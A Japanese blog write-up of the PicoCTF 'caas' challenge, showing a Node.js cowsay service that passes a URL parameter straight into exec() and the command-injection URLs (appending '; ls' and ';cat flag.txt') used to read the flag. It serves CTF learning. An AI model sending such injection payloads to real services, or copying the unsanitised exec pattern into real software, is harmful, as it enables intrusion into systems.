LoginSignup
0

【Webページハッキング】PicoCTF caasのwrite-up

Posted at

概要

Webアプリケーションのハッキングを軽く学びます。

問題

実際にハッキングをすると大問題になるので、常設のハッキングチャレンジに取り組みます。

image.png

動作を確認する

与えられたURL( https://caas.mars.picoctf.net/ )にアクセスすると、このような画面になります。
image.png
「牛があなたのメッセージをしゃべりますよ」といったWebアプリになっているようです。
うっしっしーって感じですね。
image.png
URLの最後にメッセージを入れると牛がしゃべります。
牛がうっしっしーって言っています。*

スクリプトを見る

image.png

app.get('/cowsay/:message', (req, res) => {
  exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
    if (error) return res.status(500).end();
    res.type('txt').send(stdout).end();
  });
});

与えられたスクリプトは/cowsay/以下に来たメッセージを以下のようにShellで実行して、レスポンスを表示しているだけっぽいです。

/usr/games/cowsay 与えられたメッセージ

これではOSコマンドインジェクションが可能になってしまいます。これはクラッカーからしたら「うっしっしー」って感じですね。

実際に攻撃する

image.png

https://caas.mars.picoctf.net/cowsay/うっしっしー; ls

このようなリクエストを送ることで、内部では以下のようなコマンドが実行されます。

/usr/games/cowsay うっしっしー; ls

flag.txtがあることが分かったので、catコマンドで取り出します。

https://caas.mars.picoctf.net/cowsay/うっしっしー ;cat flag.txt

image.png

フラグが取り出せました!
うっしっしー!

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0